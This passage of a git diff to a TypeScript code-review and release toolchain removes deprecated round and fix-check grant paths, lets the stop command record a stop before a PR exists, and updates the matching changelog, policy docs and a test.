- const line = reviewLoopExceptionLine(loopException.exception);
- if (bodyFile && !bodyText.split(/\r?\n/).some(l => l.trim() === line)) return refuse(`${bodyFile} does not carry the exception line verbatim: ${JSON.stringify(line)}`);
- }
+ if (flag(rest, '--review-loop-exception') !== undefined) { process.stderr.write(resultLineWithDocs('gstack-ship-receipt write', 'REVIEW_LOOP_EXCEPTION_INVALID', '--review-loop-exception was removed with fix-check grants (GST-3562 part 4): an open finding at the round cap ships only as a Ruled note the lane\'s Captain records with gstack-approvals rule; nothing written') + '\n'); return EXIT.usage; }
const leaked = securityFingerprints(bodyText);
if (leaked.length) { process.stderr.write(resultLine('gstack-ship-receipt write', 'RECEIPT_INVALID', `${bodyFile} names security finding ${leaked.join(', ')}: a PR body is public, so a security finding appears only as the redacted line gstack-approvals rulings, dispositions or gstack-review-scope render prints, and its location and reason stay in the private record (docs/troubleshooting.md#security-finding-in-body); nothing written`) + '\n'); return EXIT.fail; }
const ruledNotes = readRuledNotes(repoRoot);
@@ -395,14 +373,10 @@ async function cmdWrite(rest: string[], json: boolean): Promise<number> {
const at = headSha ?? head, baseRef = `origin/${base.replace(/^origin\//, '')}`, run = flag(rest, '--run'), pr = Number(flag(rest, '--pr'));
const blockers = (Array.isArray(loopRaw?.open) ? loopRaw.open : []).filter((b: any) => ruledOpen.includes(typeof b === 'string' ? b : b?.id));
const rows = ruledOpen.length ? reviewRows(repoRoot) ?? [] : [];
- const grants = ruledOpen.length ? readReviewRoundGrants(repoRoot).filter(g => g.kind === 'fix-check' && grantForPr(g, pr)) : [];
- const live = grants.length && !receiptRuns(bodyText).length && flag(rest, '--pr') ? readBody(['--pr', flag(rest, '--pr')!, ...(flag(rest, '--repo') ? ['--repo', flag(rest, '--repo')!] : [])]) : undefined;
- const clearing = ruledOpen.length ? await import('../lib/fix-check-clearing') : undefined;
- const byGrant = !grants.length || !clearing ? undefined : !run ? { ids: [], why: 'write names no --run, so no run spent the grant' } : clearing.clearByGrant(repoRoot, { pr, run, head: at, baseRef, body: live?.ok ? live.body : bodyText, grants, rows, open: blockers });
+ const clearing = ruledOpen.length ? await import('../lib/review-trailer-clearing') : undefined;
const byTrailer = clearing ? clearing.clearByTrailer(repoRoot, { head: at, baseRef, rows, open: blockers }) : [];
- if (byGrant) process.stderr.write(`FIX_CHECK_CLEAR: ${byGrant.ids.length ? `grant=${byGrant.approval} run=${byGrant.run} closed=${byGrant.ids.join(',')}` : 'none'}${byGrant.why ? ` (${byGrant.why})` : ''}\n`);
for (const t of byTrailer) process.stderr.write(`TRAILER_CLEAR: ${t.id} (fixed by ${t.commit.slice(0, 12)}, read clean by the full review at ${t.review.slice(0, 12)})\n`);
- const open = ruledOpen.filter(id => !byGrant?.ids.includes(id) && !byTrailer.some(t => t.id === id));
+ const open = ruledOpen.filter(id => !byTrailer.some(t => t.id === id));
if (open.length) { process.stderr.write(resultLineWithDocs('gstack-ship-receipt write', 'RECEIPT_BLOCKER_OPEN', `${open.join(', ')}; nothing written`) + '\n'); return EXIT.refused; }
input = {
schema_version: 1, pr: flag(rest, '--pr') !== undefined ? Number(flag(rest, '--pr')) : undefined, head,
@@ -416,7 +390,7 @@ async function cmdWrite(rest: string[], json: boolean): Promise<number> {
policy: flag(rest, '--policy') ?? tree?.policy, queue_mode: flag(rest, '--queue-mode'), preregistration: flag(rest, '--preregistration'), history: flag(rest, '--history'),
...pregate, issues: issuesFile ? receiptIssuesFrom(issuesFile) : undefined, approval: approval.kind === 'ok' ? approval.approval : undefined,
review_loop: reviewLoop, ...(docs?.ok ? { docs: docs.docs } : {}), ...product,
- gstack_version: installedGstackVersion(), review_depth: reviewDepth, review_loop_exception: loopException?.ok ? loopException.exception : undefined, review_round_grants: roundGrantsFor(repoRoot, flag(rest, '--pr'))?.map(g => publicRoundGrant(g, ruledNotes)), cleared_by_grant: byGrant?.ids.length ? { approval: byGrant.approval!, run: byGrant.run!, ids: byGrant.ids } : undefined, cleared_by_trailer: byTrailer.length ? byTrailer : undefined, ruled_notes: ruledNotes.length ? ruledNotes.map(publicRuledNote) : undefined, gate_dispositions: gateDispositions.map(publicGateDisposition), mechanical: mechanical.length ? mechanical : undefined, review_targeted: targeted?.ok ? targeted.targeted : undefined,
+ gstack_version: installedGstackVersion(), review_depth: reviewDepth, cleared_by_trailer: byTrailer.length ? byTrailer : undefined, ruled_notes: ruledNotes.length ? ruledNotes.map(publicRuledNote) : undefined, gate_dispositions: gateDispositions.map(publicGateDisposition), mechanical: mechanical.length ? mechanical : undefined, review_targeted: targeted?.ok ? targeted.targeted : undefined,
design: review.frontend ? { mode: 'static', reason: 'no preview declared' } : undefined,
base_red: pause ? receiptBaseRed(pause) : undefined,
review_exclude: receiptExclude(review.exclude),
@@ -448,8 +422,7 @@ async function cmdWrite(rest: string[], json: boolean): Promise<number> {
const block = renderReceiptBlock(receipt);
const out = flag(rest, '--out');
if (out) fs.writeFileSync(out, block);
- const closed = [...(receipt.cleared_by_grant ? [`Closed by grant ${receipt.cleared_by_grant.approval}: ${receipt.cleared_by_grant.ids.join(', ')} (the granted fix-check of run ${receipt.cleared_by_grant.run} read the fix clean)`] : []),
- ...(receipt.cleared_by_trailer ?? []).map(t => `Closed by fix ${t.commit.slice(0, 12)}: ${t.id} (a later full review at ${t.review.slice(0, 12)} read it clean)`)];
+ const closed = [...(receipt.cleared_by_trailer ?? []).map(t => `Closed by fix ${t.commit.slice(0, 12)}: ${t.id} (a later full review at ${t.review.slice(0, 12)} read it clean)`)];
if (body) {
let text = fs.existsSync(body) ? fs.readFileSync(body, 'utf8') : '';
const pr = flag(rest, '--pr');
@@ -867,8 +840,7 @@ function cmdCarry(rest: string[], json: boolean): number {
return refused('RECEIPT_CARRY_PREGATE_STALE', `the receipt records a pregate for ${receipt.head.slice(0, 12)}; run gstack-pregate at HEAD ${head.slice(0, 12)} and pass --pregate <pregate.json>`);
}
let depthField: Partial<ShipReceipt> = {};
- const isAncestor = (commit: string) => !ancestor || spawnSync('git', ['merge-base', '--is-ancestor', commit, head], { cwd: repoRoot, timeout: 30_000 }).status === 0;
- const problems = exceptionProblems(body, receipt, isAncestor);
+ const problems = exceptionProblems(body, receipt);
if (problems.length) return refused('RECEIPT_CARRY_REFUSED', `the receipt's owner exception does not stand: ${problems.join('; ')}; run /gstack-ship on ${head.slice(0, 12)}`);
if (receipt.review_depth || receipt.gstack_version) {
if (!receipt.review_depth) return refused('RECEIPT_CARRY_REFUSED', `the receipt records gstack_version but no review_depth, so the queue would refuse it; run /gstack-ship on ${head.slice(0, 12)}`);
@@ -971,13 +943,6 @@ function cmdDocsCaps(rest: string[], json: boolean): number {
return EXIT.fail;
}
-/** The round grants the branch's approval record holds for this PR (the receipt's review_round_grants). */
-function roundGrantsFor(repoRoot: string | undefined, pr: string | undefined): ShipReceipt['review_round_grants'] {
- if (!repoRoot || !pr) return undefined;
- const grants = readReviewRoundGrants(repoRoot).filter(g => String(g.pr) === pr);
- return grants.length ? grants : undefined;
-}
-
/** The PR body from --body or gh, or why it cannot be read. */
function readBody(rest: string[]): { ok: true; body: string; pr?: string } | { ok: false; why: string; fix: string } {
const bodyFile = flag(rest, '--body');
@@ -1026,75 +991,37 @@ function cmdHistory(rest: string[], json: boolean): number {
const repoRoot = git(['rev-parse', '--show-toplevel']);
const head = (flag(rest, '--head') ?? (repoRoot ? git(['rev-parse', 'HEAD'], repoRoot) : undefined))?.toLowerCase();
const h = prReviewHistory(read.body);
- const grants = repoRoot && head && /^\d+$/.test(pr) ? readReviewRoundGrants(repoRoot) : [];
- const answer = grants.length ? grantedStop(read.body, grants, { pr: Number(pr), head: head!, run: flag(rest, '--run'), isAncestor: ancestorIn(repoRoot!) }) : null;
- const base = (flag(rest, '--base') ?? (repoRoot ? resolveBaseBranch(repoRoot) : 'main')).replace(/^origin\//, '');
- const baseRef = repoRoot ? [`origin/${base}`, base].find(ref => git(['rev-parse', '--verify', '--quiet', `${ref}^{commit}`], repoRoot)) : undefined;
- const found: ReviewRoundGrant | undefined = answer?.ok ? answer.grant : grants.length ? grantFor(repoRoot!, grants, Number(pr), head!, baseRef) : undefined;
- const claimed = found && !answer?.ok ? receiptRuns(read.body).find(r => r.mark === 'grant' && r.grant === found.approval && r.run !== flag(rest, '--run')) : undefined;
- const grant = claimed ? undefined : found;
- const route = answer?.ok ? { route: 'fix-check' as const, reason: `fix-check grant ${answer.grant.approval} answers the stop at ${answer.stop.head.slice(0, 12)} (run ${answer.stop.run}): one scoped fix-check of the PR's own change since it, for ${answer.grant.findings!.join(', ')}, with no new full review` } : reviewRoute(h, { grant: grant?.approval });
- const flagsLine = `PR_REVIEW_FLAGS: --prior-rounds ${h.rounds} --prior-full ${h.full}${grant ? ` --round-grant ${grant.approval}` : ''}${answer?.ok ? ` --stop ${answer.stop.head}` : ''}`;
+ const route = reviewRoute(h);
+ const flagsLine = `PR_REVIEW_FLAGS: --prior-rounds ${h.rounds} --prior-full ${h.full}`;
const used = flag(rest, '--run') ? receiptedRun(read.body, flag(rest, '--run')!) : undefined;
- if (json) { process.stdout.write(JSON.stringify({ pr, ...h, grant: grant ?? null, stop: answer?.ok ? answer.stop : null, route, run_used: used?.head ?? null }) + '\n'); return EXIT.ok; }
- process.stdout.write(`${historyLine(pr, h)}\n${flagsLine}\nPR_REVIEW_ROUTE: ${route.route} (${route.reason})\n${answer && !answer.ok ? `PR_REVIEW_GRANT: not applied (${answer.why})\n` : ''}${claimed ? `PR_REVIEW_GRANT: not applied (grant ${claimed.grant} was claimed by run ${claimed.run}: a grant buys one round)\n` : ''}${used ? `PR_REVIEW_RUN_USED: run=${used.run} receipted at ${used.head.slice(0, 12)}\n` : ''}`);
+ if (json) { process.stdout.write(JSON.stringify({ pr, ...h, route, run_used: used?.head ?? null }) + '\n'); return EXIT.ok; }
+ process.stdout.write(`${historyLine(pr, h)}\n${flagsLine}\nPR_REVIEW_ROUTE: ${route.route} (${route.reason})\n${used ? `PR_REVIEW_RUN_USED: run=${used.run} receipted at ${used.head.slice(0, 12)}\n` : ''}`);
return EXIT.ok;
}
const ancestorIn = (repoRoot: string) => (a: string, d: string) => a === d || spawnSync('git', ['merge-base', '--is-ancestor', a, d], { cwd: repoRoot, timeout: 30_000 }).status === 0;
-/** Step 9 on NEXT: stop (GST-2968): record the review this run stopped on, so a fix-check grant has one stop to answer. */
+/** Step 9 on NEXT: stop (GST-2968): record the review this run stopped on, in the PR body when one exists and in the run record (HARN-138: a stop before any PR records the run record only). */
function cmdStop(rest: string[]): number {
const run = flag(rest, '--run'), since = flag(rest, '--since');
if (!run || !/^[\w.:-]{1,120}$/.test(run) || !since) { process.stderr.write('gstack-ship-receipt stop: --run <the /ship run id> and --since <REVIEW_SINCE> are required\n'); return EXIT.usage; }
const repoRoot = git(['rev-parse', '--show-toplevel']);
if (!repoRoot) { process.stderr.write('gstack-ship-receipt stop: run it inside the git checkout\n'); return EXIT.usage; }
- const read = readBody(rest);
- if (!read.ok) { process.stderr.write(`gstack-ship-receipt stop: ${read.why}; fix: ${read.fix}\n`); return EXIT.fail; }
+ const valueless = ['--pr', '--body'].filter(n => rest.includes(n) && (flag(rest, n) ?? '--').startsWith('--'));
+ if (valueless.length) { process.stderr.write(`gstack-ship-receipt stop: ${valueless.join(' and ')} needs a value (--pr <n>, --body <file>); leave both out only before the PR exists\n`); return EXIT.usage; }
+ const prePr = !rest.includes('--pr') && !rest.includes('--body');
+ const read = prePr ? undefined : readBody(rest);
+ if (read && !read.ok) { process.stderr.write(`gstack-ship-receipt stop: ${read.why}; fix: ${read.fix}\n`); return EXIT.fail; }
const rows = reviewRows(repoRoot);
if (!rows) { process.stderr.write('gstack-ship-receipt stop: gstack-review-read failed; nothing recorded\n'); return EXIT.fail; }
const headNow = git(['rev-parse', 'HEAD'], repoRoot) ?? '';
const found = stopFrom(rows, since, { treeOf: c => git(['rev-parse', '--verify', '--quiet', `${c}^{tree}`], repoRoot), onHead: c => ancestorIn(repoRoot)(c, headNow) });
- if (!found.ok) { process.stderr.write(`${resultLine('gstack-ship-receipt stop', 'STOP_UNBOUND', `${found.why}; no stop record, so no fix-check grant can answer this stop`)}\n`); return EXIT.refused; }
- const err = postBody(rest, read.pr, placeRunEntry(read.body, stopMarker({ head: found.head, tree: found.tree, run })));
+ if (!found.ok) { process.stderr.write(`${resultLine('gstack-ship-receipt stop', 'STOP_UNBOUND', `${found.why}; no stop record`)}\n`); return EXIT.refused; }
+ const err = read?.ok ? postBody(rest, read.pr, placeRunEntry(read.body, stopMarker({ head: found.head, tree: found.tree, run }))) : null;
if (err) { process.stderr.write(`gstack-ship-receipt stop: ${err}; nothing recorded\n`); return EXIT.fail; }
- const pr = read.pr ?? flag(rest, '--pr') ?? '<n>';
const marked = changeRunRecord(repoRoot, 'stop', run, { stop: { head: found.head, tree: found.tree } });
- process.stdout.write(`STOP_RECORD: run=${run} head=${found.head} tree=${found.tree}\n${marked.ok ? '' : `RUN_RECORD: not marked stopped (${marked.why})\n`}NEXT: the lane or its Captain decides: ship with the open notes listed, park, or buy this stop's fix round with gstack-approvals round-grant --pr ${pr} --head ${found.head} --kind fix-check --stop-run ${run} --findings <the open finding ids, comma-separated> --reason "<why>" --by <the lane or its Captain>, then take --round-grant and --stop from the PR_REVIEW_FLAGS: line of gstack-ship-receipt history --pr ${pr} --base <base> --run ${run} in this run, or from a new run's preflight (docs/troubleshooting.md#pr-round-cap)\n`);
- return EXIT.ok;
-}
-
-/** Before a granted round's first dispatch: this run spends the grant, so no other run can buy the same round with it. */
-async function cmdClaim(rest: string[]): Promise<number> {
- const run = flag(rest, '--run'), id = flag(rest, '--grant');
- if (!run || !/^[\w.:-]{1,120}$/.test(run) || !id) { process.stderr.write('gstack-ship-receipt claim: --run <the /ship run id> and --grant <approval id> are required\n'); return EXIT.usage; }
- const repoRoot = git(['rev-parse', '--show-toplevel']);
- if (!repoRoot) { process.stderr.write('gstack-ship-receipt claim: run it inside the git checkout\n'); return EXIT.usage; }
- const read = readBody(rest);
- if (!read.ok) { process.stderr.write(`gstack-ship-receipt claim: ${read.why}; fix: ${read.fix}\n`); return EXIT.fail; }
- const grants = readReviewRoundGrants(repoRoot), g = grants.find(x => x.approval === id);
- if (!g) { process.stderr.write(`${resultLine('gstack-ship-receipt claim', 'GRANT_UNKNOWN', `no approved fix-check or round grant ${id} (a gstack-approvals round-grant row, or an owner's review_loop_grant <head> row) in this branch's approval record`)}\n`); return EXIT.refused; }
- const other = receiptRuns(read.body).find(r => r.mark === 'grant' && r.grant === id && r.run !== run);
- if (other) { process.stderr.write(`${resultLine('gstack-ship-receipt claim', 'GRANT_SPENT', `grant ${id} was claimed by run ${other.run}: a grant buys one round; the lane or its Captain records a new one`)}\n`); return EXIT.refused; }
- const held = receiptRuns(read.body).some(r => r.mark === 'grant' && r.grant === id && r.run === run);
- if (!held && g.kind === 'fix-check') {
- const rows = reviewRows(repoRoot);
- if (!rows) { process.stderr.write(`gstack-ship-receipt claim: gstack-review-read failed, so whether a fix-check already spent grant ${id} is unknown; not claimed, so do not dispatch\n`); return EXIT.fail; }
- const { bindFixCheckRow, grantSpent } = await import('../lib/fix-check-clearing');
- if (grantSpent(rows, g, row => bindFixCheckRow(repoRoot, row, grants, { open: true }).ok)) { process.stderr.write(`${resultLine('gstack-ship-receipt claim', 'GRANT_SPENT', `a counted fix-check already read under grant ${id} (it carries the grant, or started after the grant was recorded): a grant buys one round; the lane or its Captain records a new one (docs/troubleshooting.md#pr-round-cap)`)}\n`); return EXIT.refused; }
- }
- const err = postBody(rest, read.pr, placeRunEntry(read.body, grantMarker({ head: g.head, run, grant: id })));
- if (err) { process.stderr.write(`gstack-ship-receipt claim: ${err}; not claimed, so do not dispatch\n`); return EXIT.fail; }
- const handedOff = !flag(rest, '--body') && hostPublishes();
- const again = handedOff ? { ok: true as const, body: placeRunEntry(read.body, grantMarker({ head: g.head, run, grant: id })) } : readBody(rest);
- if (!again.ok) { process.stderr.write(`gstack-ship-receipt claim: ${again.why}; the claim is unconfirmed, so do not dispatch\n`); return EXIT.fail; }
- const first = receiptRuns(again.body).find(r => r.mark === 'grant' && r.grant === id);
- if (first?.run !== run) { process.stderr.write(`${resultLine('gstack-ship-receipt claim', 'GRANT_SPENT', `grant ${id} was claimed by run ${first?.run ?? 'another run'} while this run claimed it: a grant buys one round; the lane or its Captain records a new one`)}\n`); return EXIT.refused; }
- const bodyPr = read.pr ?? flag(rest, '--pr');
- const claimPr = g.pr || (bodyPr && /^[1-9]\d*$/.test(bodyPr) ? Number(bodyPr) : undefined);
- const recorded = changeRunRecord(repoRoot, 'claim', run, { claim: { grant: id, ...(g.stop_run ? { stop_run: g.stop_run } : {}), stop_head: g.head, findings: g.findings ?? [], ...(claimPr ? { pr: claimPr } : {}) } });
- if (!recorded.ok && readRunRecord(repoRoot).kind !== 'none') { process.stderr.write(`gstack-ship-receipt claim: the run record did not take the claim (${recorded.why}); not claimed, so do not dispatch: the PR body already holds run ${run}'s claim, so rerun claim with this same --run once the record is writable (a new run id reads GRANT_SPENT)\n`); return EXIT.fail; }
- process.stdout.write(`GRANT_CLAIMED: grant=${id} kind=${g.kind} run=${run} head=${g.head.slice(0, 12)}\n${recorded.ok ? '' : `RUN_RECORD: claim not recorded (${recorded.why})\n`}`);
+ if (!read && !marked.ok) { process.stderr.write(`gstack-ship-receipt stop: the run record refused the stop (${marked.why}); with no PR nothing else holds it, so nothing is recorded\n`); return EXIT.fail; }
+ process.stdout.write(`STOP_RECORD: run=${run} head=${found.head} tree=${found.tree}${read ? '' : ' pr=none'}\n${marked.ok ? '' : `RUN_RECORD: not marked stopped (${marked.why})\n`}${read ? '' : `STOP_RECORD: no PR yet, so only this checkout's run record holds the stop; open the PR before the next /gstack-ship run so its rounds count (HARN-138)\n`}NEXT: the lane's Captain decides (R51): ship with the open findings listed as notes (a blocker only as a Ruled note, gstack-approvals rule), park, or keep the fix and run /gstack-ship again for one read-only full review of the final head (docs/troubleshooting.md#pr-round-cap)\n`);
return EXIT.ok;
}
@@ -1145,7 +1072,7 @@ async function main(argv: string[]): Promise<number> {
if (cmd === 'history') return cmdHistory(rest, json);
if (cmd === 'stub') return cmdStub(rest);
if (cmd === 'stop') return cmdStop(rest);
- if (cmd === 'claim') return cmdClaim(rest);
+ if (cmd === 'claim') { process.stderr.write('gstack-ship-receipt claim: removed with round and fix-check grants (GST-3562 part 4); a PR at its round cap goes to the lane\'s Captain (docs/troubleshooting.md#pr-round-cap)\n'); return EXIT.usage; }
if (cmd === 'abandoned') return cmdAbandoned(rest);
process.stderr.write(`gstack-ship-receipt: unknown command ${cmd}\n${HELP}\n`);
return EXIT.usage;
diff --git a/changelog.d/ship-deletes-retired-grants.md b/changelog.d/ship-deletes-retired-grants.md
new file mode 100644
index 000000000..e8780159e
--- /dev/null
+++ b/changelog.d/ship-deletes-retired-grants.md
@@ -0,0 +1,10 @@
+### Removed
+
+- **/gstack-ship no longer has round grants, fix-check grants or the review-loop exception: after two review rounds a blocker ships only as an owner's ruled note, or the PR parks.** These paths were deprecated last release (fix-checks gave way to full second rounds) and kept breaking: four PRs in one day tried to repair the grant path. `gstack-approvals round-grant` and `gstack-ship-receipt claim` are gone. `gstack-review-plan` refuses `--grant`, `--round-grant`, `--stop`, `--fix-checks`, `--fix-check-prompt` and `--last fix-check`, and `gstack-ship-receipt write` and `gstack-ship-release finish` refuse `--review-loop-exception`; each refusal names the replacement. `gstack-no-stop` no longer records a scoped fix-check. Receipts written before keep their old fields, except that a receipt still recording a review-loop exception is now refused when the queue lands or carries it: run /gstack-ship again on that PR for a fresh receipt.
+- **`gstack-ship-queue ready` no longer asks for a cross-family read of the decision trail.** It caught one finding in 17 reads, one the second-model reviewer had already raised. The READY's Attention section now opens with the receipt's risk class, and `--trail` is gone. `gstack-decision-trail` stays for runs that keep a trail.
+
+### Fixed
+
+- **`gstack-ship-receipt stop` works before a PR exists.** An unattended run that stopped at round 2 with no PR (harness-evals#592) had nowhere to write its stop. Without `--pr` it now records the stop in the run record and prints `pr=none`.
+- **Receipt checks read a path with `*` or `?` in its name as that file.** The receipt's carry and depth checks passed paths to `git ls-tree` as patterns, so such a file could match others. They now pass `--literal-pathspecs`.
+- **The /gstack-ship driver records spend at start and close only,** with no budget note after every program; the review pass's own note keeps the cap check. The driver also says that a plan agreed only in conversation must be written to a file the audit can find, or the run reads it as `plan=none` and skips the plan-completion reader (the last release's note said unattended runs skip that reader; that holds only for runs with no plan).
diff --git a/crew/docs/captain.md b/crew/docs/captain.md
index 5effccdec..de6459fbe 100644
--- a/crew/docs/captain.md
+++ b/crew/docs/captain.md
@@ -798,8 +798,8 @@ owner pre-approved (train gates, screens, bisects, the backstop, focused paid ca
the owner's date and words and the cap per rerun; anything over the cap is a fresh ask.
After a PR's two review rounds (`PR_ROUND_CAP`) it ships with its open notes listed, or the controller
rules on the blocker; a PR past the cap whose code changed gets one read-only full review of its final head,
-never an owner ask ([rounds per pull request](../../docs/review-policy.md#rounds-per-pull-request)). Round and
-fix-check grants are deprecated and go in the next release.
+never an owner ask ([rounds per pull request](../../docs/review-policy.md#rounds-per-pull-request)). There are no
+round or fix-check grants (GST-3562 part 4).
**B. The plan ask** ([template](../../captain/templates/plan-ask.md)): before → after, why it
matters, what caused this work, the big decisions, and what we need from you in the ask
diff --git a/crew/lib/ship-queue-train-cli.ts b/crew/lib/ship-queue-train-cli.ts
index 527a8aefc..865967af4 100644
--- a/crew/lib/ship-queue-train-cli.ts
+++ b/crew/lib/ship-queue-train-cli.ts
@@ -184,7 +184,7 @@ export async function trainMain(ctx: QueueContext, args: string[]): Promise<numb
return usage(`unknown train subcommand ${sub}`);
}
-export async function readyMain(ctx: QueueContext, args: string[], base: { pr: string; pregate?: string; trail?: string; gateExit?: number; gateLog?: string }): Promise<number> {
+export async function readyMain(ctx: QueueContext, args: string[], base: { pr: string; pregate?: string; gateExit?: number; gateLog?: string }): Promise<number> {
const screen = args.includes('--screen');
const noScreen = args.includes('--no-screen');
if (screen && noScreen) return usage('pass one of --screen or --no-screen');
diff --git a/crew/lib/ship-queue-train-ready.ts b/crew/lib/ship-queue-train-ready.ts
index a1da5ac12..830b60a72 100644
--- a/crew/lib/ship-queue-train-ready.ts
+++ b/crew/lib/ship-queue-train-ready.ts
@@ -37,7 +37,7 @@ import { finishPlanLine, readyPlan } from '../../lib/plan-record';
const Q = 'gstack-ship-queue';
export interface ReadyOptions {
- pr: string; pregate?: string; trail?: string; gateExit?: number; gateLog?: string; screen?: 'screen' | 'no-screen'; broad: boolean; dryRun: boolean;
+ pr: string; pregate?: string; gateExit?: number; gateLog?: string; screen?: 'screen' | 'no-screen'; broad: boolean; dryRun: boolean;
/** `--dispatch-ci`: run these workflows on the PR branch, wait, and clear the matching requires-remote pregate lanes before reading the head. */
dispatchCi?: { workflows: string[]; timeoutSec: number; pollMs: number };
/** `--base-red --fixer <n>`: a conditional READY on a paused receipt, owned by the fixer PR (trains with gates only). */
diff --git a/crew/scripts/review-dispatch-compare.ts b/crew/scripts/review-dispatch-compare.ts
index 17abb7fc0..e7c0cdd91 100755
--- a/crew/scripts/review-dispatch-compare.ts
+++ b/crew/scripts/review-dispatch-compare.ts
@@ -87,7 +87,7 @@ function newShip(f: Fixture, sc: Scenario): { calls: Call[]; ending: string } {
adversarialRan ||= plan.dispatches.some(d => d.role === 'adversarial-native');
if (plan.next.step === 'voices') continue;
const o = outcomes[sc][Math.min(i, outcomes[sc].length - 1)] ?? {};
- const last = plan.next.step === 'scoped' ? 'full' : plan.next.step;
+ const last = plan.next.step === 'scoped' || plan.next.step === 'fix-check' ? 'full' : plan.next.step;
h = { fullPasses: h.fullPasses + (last === 'full' ? 1 : 0), last, ...o };
}
for (const a of FIXED_AUDITS) calls.push({ role: 'audit', effort: 'light', diffBytes: f.diff_bytes / 2 });
diff --git a/crew/test/ship-queue-ready-notes-push.test.ts b/crew/test/ship-queue-ready-notes-push.test.ts
index 36605a442..9ea3955d3 100644
--- a/crew/test/ship-queue-ready-notes-push.test.ts
+++ b/crew/test/ship-queue-ready-notes-push.test.ts
@@ -83,11 +83,11 @@ describe('ready refuses a READY note that never reached origin', () => {
}, 120_000);
});
-describe('ready under a train policy reads --trail and trial-merges non-ASCII paths (GST-3200 follow-up)', () => {
- // Value: protects=gstack's own policy declares a train block, so its READY goes through the train route, which must carry
- // --trail and compare sibling paths that git would C-quote; fails_when=the train route drops --trail and prints MISSING, or
- // a sibling sharing café.txt reads as none share a file; seam=bin/gstack-ship-queue ready --no-screen with the train gh shim
- test('the trail-read row names the reviewer and a sibling sharing café.txt is trial-merged', () => {
+describe('ready under a train policy trial-merges non-ASCII paths (GST-3200 follow-up)', () => {
+ // Value: protects=gstack's own policy declares a train block, so its READY goes through the train route, which must compare
+ // sibling paths that git would C-quote and ask for no cross-family trail read (GST-3562 part 4); fails_when=a sibling sharing
+ // café.txt reads as none share a file, or the READY asks for a trail read; seam=bin/gstack-ship-queue ready --no-screen with the train gh shim
+ test('a sibling sharing café.txt is trial-merged and no trail read is asked for', () => {
const fx = trainFixture();
fixtures.push(fx);
const sibling = openPr(fx, '2', { file: 'café.txt', text: 'from #2\n', changelog: false });
@@ -96,11 +96,9 @@ describe('ready under a train policy reads --trail and trial-merges non-ASCII pa
const tree = runBin(fx.repo, 'gstack-wtree', []).out.trim();
const pregate = path.join(fx.repo.root, 'pregate.json');
fs.writeFileSync(pregate, JSON.stringify({ schema_version: 1, tree, head, verdict: 'pass', checks: FULL_CHECKS }));
- const trail = path.join(fx.repo.root, 'decisions.tsv');
- fs.writeFileSync(trail, 'ts\tphase\tdecision\twhy\tevidence\tresult\n2026-11-19T00:00:00Z\tstart\trun x opens this trail\tno earlier rows\trun:x\topen\n2026-11-19T00:01:00Z\ttrail-read\topenai/gpt-6.2-sol (Subagent 4)\trule 27\tflags.md\tNo flags\n');
- const r = queue(fx, ['ready', '--pr', '1', '--pregate', pregate, '--no-screen', '--trail', trail]);
- expect(r.out).toContain('reviewed by openai/gpt-6.2-sol (Subagent 4) (');
- expect(r.out).toContain('trail row 2)');
+ const r = queue(fx, ['ready', '--pr', '1', '--pregate', pregate, '--no-screen']);
+ expect(r.out).not.toContain('trail read');
+ expect(r.out).toContain('Attention:');
expect(line(r.out, 'TRIAL_MERGES: ')).toStartWith(`TRIAL_MERGES: #2 ${sibling.slice(0, 12)} shares café.txt: `);
}, 120_000);
});
diff --git a/docs/review-policy.md b/docs/review-policy.md
index 80e4d12aa..f60a4be83 100644
--- a/docs/review-policy.md
+++ b/docs/review-policy.md
@@ -106,10 +106,9 @@ incomplete coverage, which blocks until the reviewer is rerun.
them (GST-967). The cap approves nothing. This cap counts rounds inside one
run. Across heads and runs the PR's own count applies ([rounds per pull
request](#rounds-per-pull-request)).
- Owner grants of a fix-check (`review_loop_exception`, `--grant`, the
- [fix-check chain](ship-policy.md#fix-check-chain)) are deprecated: code still
- honors a grant recorded before GST-3562 for one release, and the next release
- removes them. Record no new one.
+ Owner grants of a fix-check and round grants are gone (GST-3562 part 4):
+ `gstack-review-plan` refuses `--grant`, `--round-grant`, `--fix-checks`,
+ `--stop` and `--last fix-check`, and a grant row recorded earlier buys nothing.
Edits that /gstack-ship Step 16 finds after the review bound that are only release
stamps under the base policy's stamp rule (line-exact: one other line in a
stamp file makes the file an edit) and docs are no gate-class edit: the plan
@@ -187,92 +186,35 @@ caught on another crew's PRs.
after that review also stops for the Captain (GST-3562 A). The count does not
reopen. A new /gstack-ship run on such a PR plans this review as its pass 1, with the
same `READ_ONLY:` staging and no fix round as the in-run case.
-6. **Round grants (deprecated).** `gstack-approvals round-grant` (`--kind
- fix-check` after a stop, `--kind extra-round` before review), `gstack-ship-receipt
- claim` and the `--round-grant`/`--stop` flags Step 1 adds for them still work
- for one release, so a grant recorded before GST-3562 keeps verifying; the next
- release removes them. Record no new grant: after round 2 the PR ships with its
- open notes or its Captain rules, and a PR whose code changed after the cap gets
- the read-only full review in item 5. gstack never grants itself a round, and the
- receipt lists older grants under `review_round_grants`.
+6. **No round grants** (GST-3562 part 4 removed them, with `gstack-approvals
+ round-grant`, `gstack-ship-receipt claim` and the `--round-grant`/`--stop` flags).
+ After round 2 the PR ships with its open notes or its Captain rules: a blocker
+ ships only as a [ruled note](ship-policy.md#ruled-notes). A PR whose code
+ changed after the cap gets the read-only full review in item 5. gstack never
+ grants a round.
<a id="what-closes-a-finding"></a>
### What closes a finding (GST-3260)
-The grant paths in this section are deprecated with the fix-check (GST-3562 A):
-they keep a grant recorded before it verifying for one release, and the next
-release removes them. /gstack-ship no longer plans a fix-check, so a new finding closes
-by a fix that a later full round or the read-only final review reads clean, a
-`Review-Finding` trailer, or the Captain's ruled note.
-
-A fix-check that a grant bought and that read the fix clean closes exactly the
-findings the grant names, with no owner ruling. `gstack-ship-receipt write`
-checks it from records gstack's tools wrote, never from the `--review-loop`
-file (`lib/fix-check-clearing.ts`): the grant answers the newest stop record
-for this PR; the PR body's first claim of it is this run's; exactly one
-`review-fix-check` row carries it, and `gstack-review-log` stamped that row from
-the claim (`fix_check_base`, `run`, `grant`, `pr`) with the digest of the hunks
-its reader was given, which cover every path the stop-to-fix diff changes, and
-the ledger ids, fingerprints and `a-…` approval ids its fix list named; the row read the stop's head to the receipt head (or a
-head that only merges the base in) on one committed tree, with nothing open at
-any severity; and the stop, the claim and the row's start were recorded in that
-order. Each grant id the fix list named closes the one open blocker carrying
-that id; a grant id the fix list left out closes nothing, and a fingerprint
-shared by two blockers closes neither. Anything less closes nothing, and write
-says why on a `FIX_CHECK_CLEAR:` line. The receipt records `cleared_by_grant`,
-and the Agent notes section gets one `Closed by grant …` line. A finding whose
